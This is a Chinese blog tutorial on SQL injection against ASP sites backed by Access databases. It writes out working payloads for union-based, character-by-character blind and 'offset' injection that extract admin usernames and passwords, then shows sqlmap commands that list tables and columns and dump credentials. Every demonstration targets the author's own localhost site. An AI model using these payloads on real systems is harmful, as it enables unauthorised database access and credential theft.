access注入篇+sqlmap
access数据库的来历,我就不说了,因为我懒的记,就算记了感觉上也没大多用处,只要记得数据库的结构就行了。
先是表名,然后是列名,再者就是数据,我发个实际的图吧,大概就是这么一个结构。

下面,开始说下未过滤的SQL代码,说是SQL代码,其实应该说是asp代码,因为,很多access数据库都是和asp这个脚本语言相连的,关于asp这个脚本语言细节,想深入了解的可以百度下,毕竟搜索引擎也是一个很好的老师,很好的老师。
上图是asp的代码,ID就是一个变量,一般的网址结构,相信大家都知道的,网址又叫URL,他的组成是由网站地址,文件目录,还有文件名,文件里还有参数名和参数值。就像下面的这个。
网站地址:
0.1/0/wenjianjia/wenjianming.asp?id=1
网站地址:http://127.0.0.1/0/
文件目录:wenjianjia
文件名:wenjianming.asp
参数名:id
参数值:1
这个通过上图的未过滤的asp代码,还有下文对网址的解析,大家应该能看出来,变量在ID的这个值上面也就是参数值上。下面我们开始实施操作,理解原理。
http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 这个URL的ID处存在注入,它在执行是时候是这样的。
select * from product where id=1 这个就是执行的SQL语句,通过这一句来链接数据库与页面直接的数据。
--------------------------------------------------------------------------------------------------
http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1' 我们在URL的后面的加了一个点,来进行测试,看它存不存在注入。
select * from product where id=1' 因为这个点也被带入插入查询了,肯定的,没有 1' 文件,所以报错了,那么就说明,存在注入,因为它这条语句带入查询了。
--------------------------------------------------------------------------------------------------
http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 and 1=1 通过正确and正确这个编程里的方法,来判断是否可以显错,正确和正确,返回的肯定正确。(这个如果想细了解的可以百度下编程的逻辑判断,自己学习下。)
select * from product where id=1 and 1=1 返回正确,肯定要正确嘛,不正确,那还杂注入了。
--------------------------------------------------------------------------------------------------
http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 and 1=2 通过正确and错误,肯定错误,这个编程里的逻辑判断,来看下是否显示错误,如果显示错误,那就表示,可以通过显错来注入。如果不显错,那只能看看用工具能不能来跑出账号密码了,手工注入的毕竟有局限性,而且麻烦。
select * from product where id=1 and 1=2 返回错误页面
--------------------------------------------------------------------------------------------------
下面就开始注入了,access数据库的SQL注入,一般都是属于暴力注入,没有固定的规律可言,就是说,你只能靠猜的方法来注入,而不是有固定的方法,肯定会出来密码。
access数据库注入可分为两种注入方法,一种为联合查询法,一种为逐字猜解法,都是属于SQL的语句。那先来说下联合查询法吧。
首先我们需要用 order by 这个语句来猜解列表数,看上面的数据库图,应该都能懂。
http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 order by 5 显示正常。
http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 order by 6 显示错误。
通过这个对比,我们能猜出这个数据库有5个列表数,那么就开始联合查询法了。
http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 union select 1,2,3,4,5 from admin
这句的代码的意思就是如果存在admin这个表名,则页面返回正常,如果没有,则返回错误,就像上面的判断是一个道理。
http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 union select 1,username,password,4,5 from admin
这句代码的的前提是页面爆出可替换的数字时才行,然后把你认为可能是列名的单词替换到数字的位置,下面我会贴上实际图的。这句代码,我列出的两个列名是常见的列名,如果不存在的话,就会直接报错的。如果存在,那么列名下的数据,就会被爆出来。
--------------------------------------------------------------------------------------------------
下面我开始说下逐字猜解法,因为有些情况下,如果网站不支持联合查询法,那就只能哟逐字猜解法了,这个方法很麻烦,所以一般如果到这个步骤的话,肯定要上工具的,要不太麻烦了。
查表名: and exists(select * from 表名)
http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 and exists(select * from admin)
查询该数据库是否存在admin这个表名,如果存在就返回正常,如果返回错误就是不存在。
--------------------------------------------------------------------------------------------------
查列名: and exists(select 列名 from admin)
http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 and exists(select username from admin)
查询该数据库下,admin这个表名下是否存在username这个列名,如果存在就返回正常,不存在就爆错。
--------------------------------------------------------------------------------------------------
查数据:1.确定长度 2.确定asc数据(asc编码) 这个一个格式。
and (select top 1 len(列名) from admin)=5
http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 and (select top 1 len(username) from admin)=5
判断 username 这个列表下的数据长度为多少,如果返回正确的话,就是说明 username 这个列表下的数据长度为5位数。如果不正确,就表示不是被,然后一个一个猜吧,一般来说超不过10位数,谁的网站账号起那么长啊,和密码快一个长度了。。。。
and (select top 1 asc(mid(列名,位数,1)) from admin)=97
http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 and (select top 1 asc(mid(username,1,1))from admin)=97
http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 and (select top 1 asc(mid(username,2,1))from admin)=100
判断access数据库,admin表名下的username这个列表下的数据第一位数是否为asc编码里的97,也就是是否为a。如果是就猜第二位,把位数改成2,然后把后面的asc那个97改改,也就是一个一个的试,所以说很麻烦,一般都是工具跑的。
下面贴一个asc编码的图,自行参考。

--------------------------------------------------------------------------------------------------
对了,access还有一个偏移注入法,就是再已知表名的情况下,不知道列名,进行猜解。我本人对这个偏移注入原理不是很理解,所以也无法详细的说说,但是也得贴上代码,好歹大家都知道这个存在吧。
利用表自连偏移注入Access数据库
1.确定网站 字段数 order by 字段数
2.比如说 字段是47 表名是admin ((and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,.....,47 from admin)可以爆出敏感字符)
3.构造从1,*查询直到正确的爆出敏感字符的语句 (列子:and 1=2 union select 1,*错误就加1,2,3,4,5,6,7,8,*直到正确的爆出敏感字符)
4.例如是(and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,* from admin 到33,*正确的爆出敏感字符)
5.用47-33=14 *号就代表admin表名的14个字段
6.把admin表扩大一倍14x2=28 在用47-28=19 (例子:and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,* from admin把19,后面的字段全部替换成*号就变成这样了and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,* from admin)
7.直接爆管理员帐号密码替换表名admin 语句(admin as a inner join admin as b on a.id=b.id)
替换后的就变成这样了 (例子:and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,* from (admin as a inner join admin as b on a.id=b.id))
8.如果还爆不出来帐号密码那就在19,后面加a.id(例子:and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,a.id,* from (admin as a inner join admin as b on a.id=b.id))
9.还爆不出来帐号密码就在 a.id后面加上b.id(例子:and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id))
10.还爆不出来帐号密码就在b.id后面加c.id 加上c.id就相当于admin表的字段扩大了3倍 就是14x3=42 47-42=5 替换表名admin 语句((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)(例子:and 1=2 union select 1,2,3,4,5,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id))
上面是我从别的地方贴的,原地址,我已经找不见了,大概就是这么个偏移的思路,如果想更深入的了解,可以可以自己百度去了解。
--------------------------------------------------------------------------------------------------
好了 ,高潮的地方开始了,我要开始本地搭建一个asp+access的网站,网站源码是在网上搜的,当然源码里‘马’肯定不少,不过咱电脑又不是服务器,没事。开始了!!!

找见一个access注入点的页面。

判断是否存在注入。

and1=1 返回正常。

and 1=2 返回错误。

查询列表字段数,返回正常的是22个,说明存在22个列表字段。

当order by 到23的时候,报错了,说明只存在22个字段数。

判断是否存在admin这个表名,返回正常,说明存在这个表,但是没爆出数字,咋办?让语句出错被。

好了,我在ID参数后面加了个and 1=2 ,就是让语句不存在,好出现可替换的数字,下面就可以把爆出的数字进行替换为你认为可能是的列名。

因为我自己搭建的本地,所有我知道列名是什么,我就直接打上去了,然后列名下的数据就被替换出来了。
这就是联合查询法,很简单。但是实际环境中,肯定问题很多,很多,但是联合查询法的,原理就我上面说的呢个,基础就这个。
---------------------------------------------------------------------------------------------------------------
下面,开始演示下,逐字猜解法:

猜解是否存在admin这个表名,返回正常,那就说明存在了。

猜解admin这个表名下是否存在admin这个列名,返回正常,说明存在。

猜解admin这个表名下的admin列名的数据,总长度是否为5位数。页面返回正常,呢就是说5位数。

开始猜解admin这个表名下admin这个列名的下面的数据第一位是否asc编码里的A ,返回正常,说明是。

开始猜解admin这个表名下admin这个列名的下面的数据第二位是否asc编码里的B ,返回正常,说明是。对了,这里面的top 1 的意思是说,第一行,如果不加的话,要么爆错,要么还是报错。
以上就是逐字猜解法,是不是看着很简单啊,不麻烦 啊,一遍过啊,,,,这是在我源码知道的情况下,如果我不知道具体的数据,,那这个截图教程就会很曲折很曲折,当然,手工注入access也是 不常用的,毕竟效率才是第一位,都是上工具的。
----------------------------------------------------------------------------------------------------------------
这里,我就开始说下一个注入工具,“SQLmap”这个工具,注入工具很多,什么明小子啊,啊D啊,等等一堆注入工具,但是SQLmap这个工具,是我感 觉上很不错的注入工具,它是在python的环境下编写的,当然,我就是python入的门嘛,对关于python编的工具,总是抱有多一点的喜爱的。
SQLmap不光是一个注入工具,在整体的构架上,也算是编程构架思绪学习的一个好的样例,不扯了,说下这个工具吧,如果去官网上下载的话,需要再下载个 python的编程环境,毕竟是在这个环境下编写的嘛,当然你也可以下载个免环境版的sqlmap,这个我不细说了,网上一百度,一大堆。
下面开始正式开始操作,网址还是上面我自己搭建的网站,本地网站,安全,稳定,可靠,适合学习,操作,理解,还不被查水表,也不给他人带来麻烦,还能知道原理,练习技术,学会攻防,啦啦啦。不喷了,开始了。

打开工具后是这个样子的如果是python环境下的,可以按着我上面的操作一个一个输入,如果是免环境的,直接输入 -u "url地址" 然后,摁回车就是了。

回车后,直接跑出来数据库类型,因为我总是闲的没事,跑我自己的这个,所以很快就出来, 如果你们用的话,可能会出现一条又一条的询问句,要么就全部回车,要么,百度翻译一下句子,然后再选择。

因为这个得一句一句的指令操作的,所以你,摁下方向键的上键,就会还原到上一句的句子,然后你可以直接修改后面的代码。--tables 这个是表名的意思。

然后就跑出来access 数据库下,所有的表名。

操作依旧,摁上键,返回上一条命令,然后删除多余的,增改为--columns -T "amin" 再回车,就又开始跑了,--columns 是列名的意思,-T“admin”就是表名的意思。

看吧,这样就全部跑出来列名了,很方便,还简单。

操作依旧,--dump 在单词里是下载的意思,-C"admin,password" 这个就是列名admin列名和password列名,-T“admin”这个就不说了,你该知道的。还有在安全测试的时候,能不dump就不dump,除非你是授权的,警惕dump。

这两句,我忘了贴翻译, 第一句的意思,我不说了,我忘了,第二句的意识是说,是否该工具替你跑出md5加密值为多少,一般工具不好跑出来。

好了,账号密码都爆出来了了,是不是看着很简单?错,不简单,下面我来细说下,并总结下,全文,因为到这里了,差不多access注入篇就要结束了。
--------------------------------------------------------------------------------------------------------------
总结:
access的基础的基础算是总结完了,这个只是access数据库存在注入的漏洞的操作方法,同时还是最基础的,现实的环境比这个复杂的多的多,会出现各种问题,不是我上面用来测试的截图这么简单,这里只是汇总了一下,最基础的基础的,复杂 一部分,我就不在这个文章了讲了,等以后了有机会来了就说说,没机会了,你们就自己摸索的着找资料克服吧。感觉我写的这篇文章,算是基础里,access注入篇基础的基础讲的最细的了。自我感觉。
不赖,自己写了一遍,我对基础又加深的记忆了一遍。耶!
access注入篇+sqlmap的更多相关文章
- SQLMAP学习笔记1 access注入
SQLMAP学习笔记1 access注入 Sqlmap是开源的自动化SQL注入工具,由Python写成,具有如下特点: 完全支持MySQL.Oracle.PostgreSQL.Microsoft S ...
- mysql注入篇
博客这个东西真的很考验耐心,每写一篇笔记,都是在艰难的决定中施行的,毕竟谁都有懒惰的一面,就像这个,mysql注入篇,拖拖拖一直拖到现在才开始总结,因为这个实在是太多太杂了,细细的总结一篇太烧脑. 由 ...
- SQL注入之sqlmap进阶
上一篇我们对sqlmap进行简单的介绍,并介绍了一些·sqlmap的基础用法,这篇让我们来更深入的了解一下sqlmap,了解一下它的强大功能. 探测等级 参数为 --level 在sqlmap中一共有 ...
- [转载] 我的WafBypass之道(SQL注入篇)
我的WafBypass之道(SQL注入篇) Web安全 作者:先知技术社区 2016-11-23 7,566 [本文转自安全脉搏战略合作伙伴先知技术社区 原帖地址 安全脉搏编辑huan97 ...
- 初识sql注入及sqlmap
对于sql注入小白的我,上午在红黑联盟的网站上恶补了一下sql注入的基础知识,(走马观花)似乎明白sql注入是怎么一回事,也看了一些关于sqlmap的资料,再次记录一下吧 下面是关于sqlmap这个工 ...
- SQL注入工具sqlmap的注入过程记录
1.sqlmap的get注入 假设目标是 https://www.baidu.com/news.php?id=1&data=2 sqlmap语句 列库 sqlmap.py -u "h ...
- sql注入篇2
一.前言 上一篇:sql注入篇1 二.基于回显的注入类型判断 1.有结果的注入 例如下图: (sqlllab less-1)可以看到有正常结果返回,对于的利用方式就是老套路了,先order by查询出 ...
- SQL注入神器———Sqlmap!
Sqlmap 开源,python编写 支持5种SQL注入检测技术: 1.基于布尔的注入检测 2.基于时间的注入检测 3.基于错误的注入检测 4.基于UNION联合查询的检测 5.基于堆叠查询的检测 支 ...
- Java审计之SQL注入篇
Java审计之SQL注入篇 0x00 前言 本篇文章作为Java Web 审计的一个入门文,也是我的第一篇审计文,后面打算更新一个小系列,来记录一下我的审计学习的成长. 0x01 JDBC 注入分析 ...
随机推荐
- 获取FileSystem
/** * 根据配置文件获取HDFS操作对象 * 有两种方法: * 1.使用conf直接从本地获取配置文件创建HDFS对象 * 2.多用于本地没有hadoop系统,但是可以远程访问.使用给定的URI和 ...
- sql语句采用数字方式的排序
select z.xymc 省份,y.xm 办理人,s.bt 标题,x.createtime 创建时间, nvl2(t.jssj,t.jssj,'未接收') 接收时间 fr ...
- AcWing 233. 换教室 (期望DP+floyd)打卡
题目:https://www.acwing.com/problem/content/235/ 题意:有n个时间段,这个时间段有两个地方授课ci,di,最开始是在ci,可以申请去di,但是是几率的,然后 ...
- [CSP-S模拟测试]:游戏(最短路)
题目传送门(内部题35) 输入格式 第一行,两个正整数$X,Y$.第二行,三个非负整数$A,B,C$.第三行,一个正整数$N$.接下来$N$行,每行两个非负整数$x_i,y_i$. 输出格式 一行,一 ...
- 架构师技能树skill-map
# 架构师技能树 ## 系统架构能力 ### 基本理论- 扩展性设计- 可用性设计- 可靠性设计- 一致性设计- 负载均衡设计- 过载保护设计 ### 协议设计- 二进制协议- 文本协议 ### 接入 ...
- 64、saleforce 删除操作举例
String deletePrivelegeRoleSql = 'SELECT ROLEID__c, NAME__c, Id, PRIVELEGEID__r.ID, ROLEID__r.ID FROM ...
- Rust <6>:闭包
单线程环境: 从宿主环境中捕获的变量,是引用,会改变原有的值,与 golang 的闭包行为一样: 以参数形式传入的变量,默认会发生 move:而 golang 的闭包参数,是宿主环境的副本,相当于在 ...
- Leetcode_415字符串相加
给定两个字符串形式的非负整数 num1 和num2 ,计算它们的和. 注意: ①num1 和num2 的长度都小于 5100.②num1 和num2 都只包含数字 0-9.③num1 和num2 都不 ...
- Config JAVA evironment for LoadRunner
1. Install jdk 2. Set system variables eg. JAVA_HOME = C:\Program Files (x86)\Java\jdk1.6.0_43 class ...
- Java不可变对象
在创建状态后无法更改其状态的对象称为不可变对象.一个对象不可变的类称为不可变类.不变的对象可以由程序的不同区域共享而不用担心其状态改变. 不可变对象本质上是线程安全的. 示例 以下代码创建了不可变类的 ...